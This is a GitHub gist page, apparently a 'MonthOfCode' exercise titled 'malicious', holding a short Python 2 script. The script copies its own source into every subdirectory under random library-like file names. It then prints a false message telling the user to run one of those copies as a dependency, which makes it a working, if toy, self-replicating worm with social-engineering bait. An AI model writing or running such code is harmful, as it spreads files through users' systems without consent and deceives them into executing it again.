Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
#MonthOfCode day 26 - malicious
# this code is awesome, you will see it everywhere!
import sys
import random
import os
alphabet = [chr(i) for i in range(ord('a'),ord('z') + 1) ]
def genRandomName():
name_length = random.randint(2,8)
lchar = list()
for i in xrange(name_length):
lchar.append( random.choice( alphabet) )
prfix = sfx = ''
if( random.choice((True,False)) ):
prfix = 'lib_'
else:
if( random.choice((True,False)) ):
sfx = '_ref'
else:
sfx = '_sample'
return prfix+(''.join( lchar) )+sfx+'.py'
inf = os.walk('.')
ll = [ x[0] for x in inf]
data = open( sys.argv[0], 'r').read()
for a_dir in ll:
last_fname = a_dir+'/'+genRandomName()
f = open( last_fname , 'w' )
f.write( data)
f.close()
print "This program has some dependencies, run "+last_fname+" first."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment